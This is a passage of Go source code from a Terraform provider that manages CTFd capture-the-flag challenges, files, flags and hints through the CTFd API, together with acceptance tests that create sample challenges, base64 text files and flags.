&api.Requirements{ Anonymize: GetAnon(data.Requirements.Behavior), Prerequisites: preqs, } } _, err := r.client.PatchChallenge(utils.Atoi(data.ID.ValueString()), &api.PatchChallengeParams{ Name: data.Name.ValueString(), Category: data.Category.ValueString(), Description: data.Description.ValueString(), Attribution: data.Attribution.ValueStringPointer(), ConnectionInfo: data.ConnectionInfo.ValueStringPointer(), MaxAttempts: utils.ToInt(data.MaxAttempts), Value: utils.ToInt(data.Value), State: data.State.ValueString(), NextID: utils.ToInt(data.Next), Requirements: reqs, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to update challenge, got error: %s", err), ) return } // Update its tags (drop them all, create new ones) challTags, err := r.client.GetChallengeTags(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to get all tags of challenge %s, got error: %s", data.ID.ValueString(), err), ) return } for _, tag := range challTags { if err := r.client.DeleteTag(strconv.Itoa(tag.ID), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to delete tag %d of challenge %s, got error: %s", tag.ID, data.ID.ValueString(), err), ) return } } tags := make([]types.String, 0, len(data.Tags)) for _, tag := range data.Tags { _, err := r.client.PostTags(&api.PostTagsParams{ Challenge: utils.Atoi(data.ID.ValueString()), Value: tag.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create tag of challenge %s, got error: %s", data.ID.ValueString(), err), ) return } tags = append(tags, tag) } if data.Tags != nil { data.Tags = tags } // Update its topics (drop them all, create new ones) challTopics, err := r.client.GetChallengeTopics(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to get all topics of challenge %s, got error: %s", data.ID.ValueString(), err), ) return } for _, topic := range challTopics { if err := r.client.DeleteTopic(&api.DeleteTopicArgs{ ID: strconv.Itoa(topic.ID), Type: "challenge", }, api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to delete topic %d of challenge %s, got error: %s", topic.ID, data.ID.ValueString(), err), ) return } } topics := make([]types.String, 0, len(data.Topics)) for _, topic := range data.Topics { _, err := r.client.PostTopics(&api.PostTopicsParams{ Challenge: utils.Atoi(data.ID.ValueString()), Type: "challenge", Value: topic.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create topic of challenge %s, got error: %s", data.ID.ValueString(), err), ) return } topics = append(topics, topic) } if data.Topics != nil { data.Topics = topics } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *challengeStandardResource) Delete(ctx context.Context, req resource.DeleteRequest, resp *resource.DeleteResponse) { var data ChallengeStandardResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } if err := r.client.DeleteChallenge(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError("Client Error", fmt.Sprintf("Unable to delete challenge, got error: %s", err)) return } // ... don't need to delete nested objects, this is handled by CTFd } func (r *challengeStandardResource) ImportState(ctx context.Context, req resource.ImportStateRequest, resp *resource.ImportStateResponse) { resource.ImportStatePassthroughID(ctx, path.Root("id"), req, resp) // Automatically call r.Read } // // Starting from this are helper or types-specific code related to the ctfd_challenge_standard resource // func (chall *ChallengeStandardResourceModel) Read(ctx context.Context, client *api.Client, diags diag.Diagnostics) { res, err := client.GetChallenge(utils.Atoi(chall.ID.ValueString()), api.WithContext(ctx)) if err != nil { diags.AddError("Client Error", fmt.Sprintf("Unable to read challenge %s, got error: %s", chall.ID.ValueString(), err)) return } chall.Name = types.StringValue(res.Name) chall.Category = types.StringValue(res.Category) chall.Description = types.StringValue(res.Description) chall.Attribution = types.StringPointerValue(res.Attribution) chall.ConnectionInfo = utils.ToTFString(res.ConnectionInfo) chall.MaxAttempts = utils.ToTFInt64(res.MaxAttempts) chall.Value = types.Int64Value(int64(res.Value)) chall.State = types.StringValue(res.State) chall.Next = utils.ToTFInt64(res.NextID) id := utils.Atoi(chall.ID.ValueString()) // Get subresources // => Requirements resReqs, err := client.GetChallengeRequirements(id, api.WithContext(ctx)) if err != nil { diags.AddError( "Client Error", fmt.Sprintf("Unable to read challenge %d requirements, got error: %s", id, err), ) return } reqs := (*RequirementsSubresourceModel)(nil) if resReqs != nil { challPreqs := make([]types.String, 0, len(resReqs.Prerequisites)) for _, req := range resReqs.Prerequisites { challPreqs = append(challPreqs, types.StringValue(strconv.Itoa(req))) } reqs = &RequirementsSubresourceModel{ Behavior: FromAnon(resReqs.Anonymize), Prerequisites: challPreqs, } } chall.Requirements = reqs // => Tags resTags, err := client.GetChallengeTags(id, api.WithContext(ctx)) if err != nil { diags.AddError( "Client Error", fmt.Sprintf("Unable to read challenge %d tags, got error: %s", id, err), ) return } chall.Tags = make([]basetypes.StringValue, 0, len(resTags)) for _, tag := range resTags { chall.Tags = append(chall.Tags, types.StringValue(tag.Value)) } // => Topics resTopics, err := client.GetChallengeTopics(id, api.WithContext(ctx)) if err != nil { diags.AddError( "Client Error", fmt.Sprintf("Unable to read challenge %d topics, got error: %s", id, err), ) return } chall.Topics = make([]basetypes.StringValue, 0, len(resTopics)) for _, topic := range resTopics { chall.Topics = append(chall.Topics, types.StringValue(topic.Value)) } } var ( // ChallengeStandardResourceAttributes is exported for ease of extending // CTFd through a plugin. Under normal circumpstances, you should // not use it. ChallengeStandardResourceAttributes = map[string]schema.Attribute{ "id": schema.StringAttribute{ Computed: true, MarkdownDescription: "Identifier of the challenge.", PlanModifiers: []planmodifier.String{ stringplanmodifier.UseStateForUnknown(), }, }, "name": schema.StringAttribute{ MarkdownDescription: "Name of the challenge, displayed as it.", Required: true, }, "category": schema.StringAttribute{ MarkdownDescription: "Category of the challenge that CTFd groups by on the web UI.", Required: true, }, "description": schema.StringAttribute{ MarkdownDescription: "Description of the challenge, consider using multiline descriptions for better style.", Required: true, }, "attribution": schema.StringAttribute{ MarkdownDescription: "Attribution to the creator(s) of the challenge.", Optional: true, }, "connection_info": schema.StringAttribute{ MarkdownDescription: "Connection Information to connect to the challenge instance, useful for pwn, web and infrastructure pentests.", Optional: true, Computed: true, Default: stringdefault.StaticString(""), }, "max_attempts": schema.Int64Attribute{ MarkdownDescription: "Maximum amount of attempts before being unable to flag the challenge.", Optional: true, Computed: true, Default: int64default.StaticInt64(0), }, "value": schema.Int64Attribute{ MarkdownDescription: "The value (points) of the challenge once solved.", Required: true, }, "state": schema.StringAttribute{ MarkdownDescription: "State of the challenge, either hidden or visible.", Optional: true, Computed: true, Default: stringdefault.StaticString("hidden"), Validators: []validator.String{ validators.NewStringEnumValidator([]basetypes.StringValue{ types.StringValue("hidden"), types.StringValue("visible"), }), }, }, "next": schema.Int64Attribute{ MarkdownDescription: "Suggestion for the end-user as next challenge to work on.", Optional: true, }, "requirements": schema.SingleNestedAttribute{ MarkdownDescription: "List of required challenges that needs to get flagged before this one being accessible. Useful for skill-trees-like strategy CTF.", Optional: true, Attributes: map[string]schema.Attribute{ "behavior": schema.StringAttribute{ MarkdownDescription: "Behavior if not unlocked, either hidden or anonymized.", Optional: true, Computed: true, Default: stringdefault.StaticString("hidden"), Validators: []validator.String{ validators.NewStringEnumValidator([]basetypes.StringValue{ BehaviorHidden, BehaviorAnonymized, }), }, }, "prerequisites": schema.ListAttribute{ MarkdownDescription: "List of the challenges ID.", Optional: true, ElementType: types.StringType, }, }, }, "tags": schema.ListAttribute{ MarkdownDescription: "List of challenge tags that will be displayed to the end-user. You could use them to give some quick insights of what a challenge involves.", ElementType: types.StringType, Optional: true, Computed: true, Default: listdefault.StaticValue(basetypes.NewListValueMust(types.StringType, []attr.Value{})), }, "topics": schema.ListAttribute{ MarkdownDescription: "List of challenge topics that are displayed to the administrators for maintenance and planification.", ElementType: types.StringType, Optional: true, Computed: true, Default: listdefault.StaticValue(basetypes.NewListValueMust(types.StringType, []attr.Value{})), }, } ) ``` ## /provider/challenge_standard_resource_test.go ```go path="/provider/challenge_standard_resource_test.go" package provider_test import ( "testing" "github.com/hashicorp/terraform-plugin-testing/helper/resource" ) func TestAcc_ChallengeStandard_Lifecycle(t *testing.T) { resource.Test(t, resource.TestCase{ ProtoV6ProviderFactories: testAccProtoV6ProviderFactories, Steps: []resource.TestStep{ // Create and Read testing { Config: providerConfig + ` resource "ctfd_challenge_standard" "http" { name = "HTTP Authentication" category = "network" description = <<-EOT Oh no ! I did not see my connection was no encrypted ! I hope no one spied me... EOT attribution = "Nicolas" value = 500 state = "hidden" topics = [ "Network" ] tags = [ "network" ] } `, Check: resource.ComposeAggregateTestCheckFunc( // Verify dynamic values have any value set in the state. resource.TestCheckResourceAttrSet("ctfd_challenge_standard.http", "id"), ), }, // ImportState testing { ResourceName: "ctfd_challenge_standard.http", ImportState: true, ImportStateVerify: true, }, // Update and Read testing { Config: providerConfig + ` resource "ctfd_challenge_standard" "http" { name = "HTTP Authentication" category = "network" description = <<-EOT Oh no ! I did not see my connection was no encrypted ! I hope no one spied me... EOT attribution = "NicolasFgrx" value = 500 state = "visible" topics = [ "Network" ] tags = [ "network", "http" ] } resource "ctfd_challenge_standard" "icmp" { name = "Stealing data" category = "network" description = <<-EOT The network administrator signaled some strange content send to a server. At first glance, it seems to be an internal one. Can you tell what it is ? (The network capture was realized out of the CTF infrastructure) EOT attribution = "NicolasFgrx" value = 500 requirements = { behavior = "anonymized" prerequisites = [ctfd_challenge_standard.http.id] } } `, Check: resource.ComposeAggregateTestCheckFunc( resource.TestCheckResourceAttr("ctfd_challenge_standard.icmp", "requirements.prerequisites.#", "1"), ), }, // Delete testing automatically occurs in TestCase }, }) } ``` ## /provider/file_resource.go ```go path="/provider/file_resource.go" package provider import ( "context" "encoding/base64" "fmt" "path/filepath" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/hashicorp/terraform-plugin-framework/diag" "github.com/hashicorp/terraform-plugin-framework/path" "github.com/hashicorp/terraform-plugin-framework/resource" "github.com/hashicorp/terraform-plugin-framework/resource/schema" "github.com/hashicorp/terraform-plugin-framework/resource/schema/planmodifier" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringplanmodifier" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-log/tflog" ) var ( _ resource.Resource = (*fileResource)(nil) _ resource.ResourceWithConfigure = (*fileResource)(nil) _ resource.ResourceWithImportState = (*fileResource)(nil) ) func NewFileResource() resource.Resource { return &fileResource{} } type fileResource struct { client *api.Client } type fileResourceModel struct { ID types.String `tfsdk:"id"` ChallengeID types.String `tfsdk:"challenge_id"` Name types.String `tfsdk:"name"` Location types.String `tfsdk:"location"` SHA1Sum types.String `tfsdk:"sha1sum"` ContentB64 types.String `tfsdk:"contentb64"` } func (r *fileResource) Metadata(ctx context.Context, req resource.MetadataRequest, resp *resource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_file" } func (r *fileResource) Schema(ctx context.Context, req resource.SchemaRequest, resp *resource.SchemaResponse) { resp.Schema = schema.Schema{ MarkdownDescription: "A CTFd file for a challenge.", Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ Computed: true, MarkdownDescription: "Identifier of the file, used internally to handle the CTFd corresponding object. WARNING: updating this file does not work, requires full replacement.", PlanModifiers: []planmodifier.String{ stringplanmodifier.UseStateForUnknown(), }, }, "challenge_id": schema.StringAttribute{ MarkdownDescription: "Challenge of the file.", Optional: true, PlanModifiers: []planmodifier.String{ stringplanmodifier.RequiresReplace(), }, }, "name": schema.StringAttribute{ MarkdownDescription: "Name of the file as displayed to end-users.", Required: true, PlanModifiers: []planmodifier.String{ stringplanmodifier.RequiresReplace(), }, }, "location": schema.StringAttribute{ MarkdownDescription: "Location where the file is stored on the CTFd instance, for download purposes.", Optional: true, Computed: true, PlanModifiers: []planmodifier.String{ stringplanmodifier.UseStateForUnknown(), stringplanmodifier.RequiresReplace(), }, }, "sha1sum": schema.StringAttribute{ MarkdownDescription: "The sha1 sum of the file.", Computed: true, PlanModifiers: []planmodifier.String{ stringplanmodifier.UseStateForUnknown(), }, }, "contentb64": schema.StringAttribute{ MarkdownDescription: "Base 64 content of the file, perfectly fit the use-cases of complex binaries. You could provide it from the file-system using `filebase64(\"${path.module}/...\")`.", Optional: true, Computed: true, Sensitive: true, // define as sensitive, because content could be + avoid printing it PlanModifiers: []planmodifier.String{ stringplanmodifier.RequiresReplace(), }, }, }, } } func (r *fileResource) Configure(ctx context.Context, req resource.ConfigureRequest, resp *resource.ConfigureResponse) { // Prevent panic if the provider has not been configured. if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Resource Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } r.client = client } func (r *fileResource) Create(ctx context.Context, req resource.CreateRequest, resp *resource.CreateResponse) { var data fileResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Create file content, err := base64.StdEncoding.DecodeString(data.ContentB64.ValueString()) if err != nil { resp.Diagnostics.AddError( "Content Error", fmt.Sprintf("base64 content is invalid: %s", err), ) return } params := &api.PostFilesParams{ Files: []*api.InputFile{ { Name: data.Name.ValueString(), Content: content, }, }, Location: data.Location.ValueStringPointer(), } if !data.ChallengeID.IsNull() { params.Challenge = utils.Ptr(utils.Atoi(data.ChallengeID.ValueString())) } res, err := r.client.PostFiles(params, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create file, got error: %s", err), ) return } tflog.Trace(ctx, "created a file") // Save computed attributes in state data.ID = types.StringValue(strconv.Itoa(res[0].ID)) data.SHA1Sum = types.StringValue(res[0].SHA1sum) data.Location = types.StringValue(res[0].Location) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *fileResource) Read(ctx context.Context, req resource.ReadRequest, resp *resource.ReadResponse) { var data fileResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } res, err := r.client.GetFile(data.ID.ValueString(), api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "CTFd Error", fmt.Sprintf("Unable to retrieve file %s, got error: %s", data.ID.ValueString(), err), ) return } data.Name = types.StringValue(filepath.Base(res.Location)) data.Location = types.StringValue(res.Location) data.SHA1Sum = types.StringValue(res.SHA1sum) data.ChallengeID = lookForChallengeId(ctx, r.client, res.ID, resp.Diagnostics) if resp.Diagnostics.HasError() { return } content, err := r.client.GetFileContent(&api.File{ Location: res.Location, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "CTFd Error", fmt.Sprintf("Unable to read file at location %s, got error: %s", res.Location, err), ) return } data.ContentB64 = types.StringValue(base64.StdEncoding.EncodeToString(content)) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *fileResource) Update(ctx context.Context, req resource.UpdateRequest, resp *resource.UpdateResponse) { var data fileResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } resp.Diagnostics.AddError("Provider Error", "CTFd does not permit update of file-related information thus this provider cannot do so. This operation should not have been possible.") } func (r *fileResource) Delete(ctx context.Context, req resource.DeleteRequest, resp *resource.DeleteResponse) { var data fileResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } if err := r.client.DeleteFile(data.ID.ValueString(), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError("Client Error", fmt.Sprintf("Unable to delete file %s, got error: %s", data.ID.ValueString(), err)) return } } func (r *fileResource) ImportState(ctx context.Context, req resource.ImportStateRequest, resp *resource.ImportStateResponse) { resource.ImportStatePassthroughID(ctx, path.Root("id"), req, resp) // Automatically call r.Read } // XXX this helper only exist because CTFd does not return the challenge id of a file if it exist... func lookForChallengeId(ctx context.Context, client *api.Client, fileID int, diags diag.Diagnostics) types.String { challs, err := client.GetChallenges(&api.GetChallengesParams{ View: utils.Ptr("admin"), // required, else CTFd only returns the "visible" challenges }, api.WithContext(ctx)) if err != nil { diags.AddError( "CTFd Error", fmt.Sprintf("Unable to query challenges, got error: %s", err), ) return types.StringNull() } for _, chall := range challs { files, err := client.GetChallengeFiles(chall.ID, api.WithContext(ctx)) if err != nil { diags.AddError( "CTFd Error", fmt.Sprintf("Unable to query challenge %d files, got error: %s", chall.ID, err), ) return types.StringNull() } for _, file := range files { if file.ID == fileID { return types.StringValue(strconv.Itoa(chall.ID)) } } } return types.StringNull() } ``` ## /provider/file_resource_test.go ```go path="/provider/file_resource_test.go" package provider_test import ( "testing" "github.com/hashicorp/terraform-plugin-testing/helper/resource" ) func TestAcc_File_Lifecycle(t *testing.T) { resource.Test(t, resource.TestCase{ ProtoV6ProviderFactories: testAccProtoV6ProviderFactories, Steps: []resource.TestStep{ // Create and Read testing { Config: providerConfig + ` resource "ctfd_challenge_standard" "example" { name = "Example challenge" category = "test" description = "Example challenge description..." value = 500 } resource "ctfd_file" "pouet" { challenge_id = ctfd_challenge_standard.example.id name = "pouet.txt" contentb64 = "UG91ZXQgaXMgYSBjbG93biBjYXQK" } resource "ctfd_file" "pouet_2" { name = "pouet-2.txt" contentb64 = "UG91ZXQgaXMgYSBjbG93biBjYXQsIGJ1dCBoYXMgbm90IGNoYWxsZW5nZQo=" } `, }, // ImportState testing { ResourceName: "ctfd_file.pouet", ImportState: true, ImportStateVerify: true, }, { ResourceName: "ctfd_file.pouet_2", ImportState: true, ImportStateVerify: true, }, // Update and Read testing { Config: providerConfig + ` resource "ctfd_challenge_standard" "example" { name = "Example challenge" category = "test" description = "Example challenge description..." value = 500 } resource "ctfd_file" "pouet" { challenge_id = ctfd_challenge_standard.example.id name = "pouet.txt" contentb64 = "UG91ZXQgdGhlIDJuZCBpcyB0aGUgY2xvd25pZXN0IGNhdCBldmVyCg==" } resource "ctfd_file" "pouet_2" { name = "pouet-second.txt" contentb64 = "UG91ZXQgaXMgYSBjbG93biBjYXQsIGJ1dCBoYXMgbm90IGNoYWxsZW5nZQo=" } `, }, // Delete testing automatically occurs in TestCase }, }) } ``` ## /provider/flag_resource.go ```go path="/provider/flag_resource.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/validators" "github.com/hashicorp/terraform-plugin-framework/path" "github.com/hashicorp/terraform-plugin-framework/resource" "github.com/hashicorp/terraform-plugin-framework/resource/schema" "github.com/hashicorp/terraform-plugin-framework/resource/schema/planmodifier" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringdefault" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringplanmodifier" "github.com/hashicorp/terraform-plugin-framework/schema/validator" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-framework/types/basetypes" "github.com/hashicorp/terraform-plugin-log/tflog" ) var ( _ resource.Resource = (*flagResource)(nil) _ resource.ResourceWithConfigure = (*flagResource)(nil) _ resource.ResourceWithImportState = (*flagResource)(nil) ) func NewFlagResource() resource.Resource { return &flagResource{} } type flagResource struct { client *api.Client } type flagResourceModel struct { ID types.String `tfsdk:"id"` ChallengeID types.String `tfsdk:"challenge_id"` Content types.String `tfsdk:"content"` Data types.String `tfsdk:"data"` Type types.String `tfsdk:"type"` } func (r *flagResource) Metadata(ctx context.Context, req resource.MetadataRequest, resp *resource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_flag" } func (r *flagResource) Schema(ctx context.Context, req resource.SchemaRequest, resp *resource.SchemaResponse) { resp.Schema = schema.Schema{ MarkdownDescription: "A flag to solve the challenge.", Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ MarkdownDescription: "Identifier of the flag, used internally to handle the CTFd corresponding object.", Computed: true, PlanModifiers: []planmodifier.String{ stringplanmodifier.UseStateForUnknown(), }, }, "challenge_id": schema.StringAttribute{ MarkdownDescription: "Challenge of the flag.", Required: true, }, "content": schema.StringAttribute{ MarkdownDescription: "The actual flag to match. Consider using the convention `MYCTF{value}` with `MYCTF` being the shortcode of your event's name and `value` depending on each challenge.", Required: true, Sensitive: true, }, "data": schema.StringAttribute{ MarkdownDescription: "The flag sensitivity information, either case_sensitive or case_insensitive", Optional: true, Computed: true, // default value is "" (empty string) according to Web UI Default: stringdefault.StaticString("case_sensitive"), Validators: []validator.String{ validators.NewStringEnumValidator([]basetypes.StringValue{ types.StringValue("case_sensitive"), types.StringValue("case_insensitive"), }), }, }, "type": schema.StringAttribute{ MarkdownDescription: "The type of the flag, could be either static or regex", Optional: true, Computed: true, // default value is "static" according to ctfcli Default: stringdefault.StaticString("static"), Validators: []validator.String{ validators.NewStringEnumValidator([]basetypes.StringValue{ types.StringValue("static"), types.StringValue("regex"), }), }, PlanModifiers: []planmodifier.String{ stringplanmodifier.RequiresReplace(), }, }, }, } } func (r *flagResource) Configure(ctx context.Context, req resource.ConfigureRequest, resp *resource.ConfigureResponse) { // Prevent panic if the provider has not been configured. if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Resource Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } r.client = client } func (r *flagResource) Create(ctx context.Context, req resource.CreateRequest, resp *resource.CreateResponse) { var data flagResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Create flag res, err := r.client.PostFlags(&api.PostFlagsParams{ Challenge: utils.Atoi(data.ChallengeID.ValueString()), Content: data.Content.ValueString(), Data: data.Data.ValueString(), Type: data.Type.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create flag, got error: %s", err), ) return } tflog.Trace(ctx, "created a flag") // Save computed attributes in state data.ID = types.StringValue(strconv.Itoa(res.ID)) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *flagResource) Read(ctx context.Context, req resource.ReadRequest, resp *resource.ReadResponse) { var data flagResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Retrieve flag res, err := r.client.GetFlag(data.ID.ValueString(), api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to read flag %s, got error: %s", data.ID.ValueString(), err), ) return } // Upsert values data.ChallengeID = types.StringValue(strconv.Itoa(res.ChallengeID)) data.Content = types.StringValue(res.Content) data.Data = types.StringValue(res.Data) data.Type = types.StringValue(res.Type) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *flagResource) Update(ctx context.Context, req resource.UpdateRequest, resp *resource.UpdateResponse) { var data flagResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Update flag if _, err := r.client.PatchFlag(data.ID.ValueString(), &api.PatchFlagParams{ ID: data.ID.ValueString(), Content: data.Content.ValueString(), Data: data.Data.ValueString(), Type: data.Type.ValueString(), }, api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to update flag %s, got error: %s", data.ID.ValueString(), err), ) return } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *flagResource) Delete(ctx context.Context, req resource.DeleteRequest, resp *resource.DeleteResponse) { var data flagResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } if err := r.client.DeleteFlag(data.ID.ValueString(), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError("Client Error", fmt.Sprintf("Unable to delete flag %s, got error: %s", data.ID.ValueString(), err)) return } } func (r *flagResource) ImportState(ctx context.Context, req resource.ImportStateRequest, resp *resource.ImportStateResponse) { resource.ImportStatePassthroughID(ctx, path.Root("id"), req, resp) // Automatically call r.Read } ``` ## /provider/flag_resource_test.go ```go path="/provider/flag_resource_test.go" package provider_test import ( "testing" "github.com/hashicorp/terraform-plugin-testing/helper/resource" ) func TestAcc_Flag_Lifecycle(t *testing.T) { resource.Test(t, resource.TestCase{ ProtoV6ProviderFactories: testAccProtoV6ProviderFactories, Steps: []resource.TestStep{ // Create and Read testing { Config: providerConfig + ` resource "ctfd_challenge_standard" "example" { name = "Example challenge" category = "test" description = "Example challenge description..." value = 500 } resource "ctfd_flag" "static" { challenge_id = ctfd_challenge_standard.example.id content = "This is a first flag" type = "static" } `, }, // ImportState testing { ResourceName: "ctfd_flag.static", ImportState: true, ImportStateVerify: true, }, // Update and Read testing { Config: providerConfig + ` resource "ctfd_challenge_standard" "example" { name = "Example challenge" category = "test" description = "Example challenge description..." value = 500 } resource "ctfd_flag" "static" { challenge_id = ctfd_challenge_standard.example.id content = "This is a first flag" data = "case_insensitive" type = "static" } resource "ctfd_flag" "regex" { challenge_id = ctfd_challenge_standard.example.id content = "CTFER{.*}" type = "regex" } `, }, // Delete testing automatically occurs in TestCase }, }) } ``` ## /provider/hint_resource.go ```go path="/provider/hint_resource.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/hashicorp/terraform-plugin-framework/attr" "github.com/hashicorp/terraform-plugin-framework/path" "github.com/hashicorp/terraform-plugin-framework/resource" "github.com/hashicorp/terraform-plugin-framework/resource/schema" "github.com/hashicorp/terraform-plugin-framework/resource/schema/int64default" "github.com/hashicorp/terraform-plugin-framework/resource/schema/listdefault" "github.com/hashicorp/terraform-plugin-framework/resource/schema/planmodifier" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringplanmodifier" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-framework/types/basetypes" "github.com/hashicorp/terraform-plugin-log/tflog" ) var ( _ resource.Resource = (*hintResource)(nil) _ resource.ResourceWithConfigure = (*hintResource)(nil) _ resource.ResourceWithImportState = (*hintResource)(nil) ) func NewHintResource() resource.Resource { return &hintResource{} } type hintResource struct { client *api.Client } type hintResourceModel struct { ID types.String `tfsdk:"id"` ChallengeID types.String `tfsdk:"challenge_id"` Content types.String `tfsdk:"content"` Cost types.Int64 `tfsdk:"cost"` Requirements []types.String `tfsdk:"requirements"` } func (r *hintResource) Metadata(ctx context.Context, req resource.MetadataRequest, resp *resource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_hint" } func (r *hintResource) Schema(ctx context.Context, req resource.SchemaRequest, resp *resource.SchemaResponse) { resp.Schema = schema.Schema{ MarkdownDescription: "A hint for a challenge to help players solve it.", Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ Computed: true, MarkdownDescription: "Identifier of the hint, used internally to handle the CTFd corresponding object.", PlanModifiers: []planmodifier.String{ stringplanmodifier.UseStateForUnknown(), }, }, "challenge_id": schema.StringAttribute{ MarkdownDescription: "Challenge of the hint.", Required: true, }, "content": schema.StringAttribute{ MarkdownDescription: "Content of the hint as displayed to the end-user.", Required: true, }, "cost": schema.Int64Attribute{ MarkdownDescription: "Cost of the hint, and if any specified, the end-user will consume its own (or team) points to get it.", Computed: true, Optional: true, Default: int64default.StaticInt64(0), }, "requirements": schema.ListAttribute{ MarkdownDescription: "List of the other hints it depends on.", ElementType: types.StringType, Computed: true, Optional: true, Default: listdefault.StaticValue(basetypes.NewListValueMust(types.StringType, []attr.Value{})), }, }, } } func (r *hintResource) Configure(ctx context.Context, req resource.ConfigureRequest, resp *resource.ConfigureResponse) { // Prevent panic if the provider has not been configured. if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Resource Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } r.client = client } func (r *hintResource) Create(ctx context.Context, req resource.CreateRequest, resp *resource.CreateResponse) { var data hintResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Create hint reqs := make([]int, 0, len(data.Requirements)) for _, preq := range data.Requirements { id, _ := strconv.Atoi(preq.ValueString()) reqs = append(reqs, id) } res, err := r.client.PostHints(&api.PostHintsParams{ ChallengeID: utils.Atoi(data.ChallengeID.ValueString()), Content: data.Content.ValueString(), Cost: int(data.Cost.ValueInt64()), Requirements: api.Requirements{ Prerequisites: reqs, }, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create hint, got error: %s", err), ) return } tflog.Trace(ctx, "created a hint") // Save computed attributes in state data.ID = types.StringValue(strconv.Itoa(res.ID)) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *hintResource) Read(ctx context.Context, req resource.ReadRequest, resp *resource.ReadResponse) { var data hintResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Retrieve hint h, err := r.client.GetHint(data.ID.ValueString(), 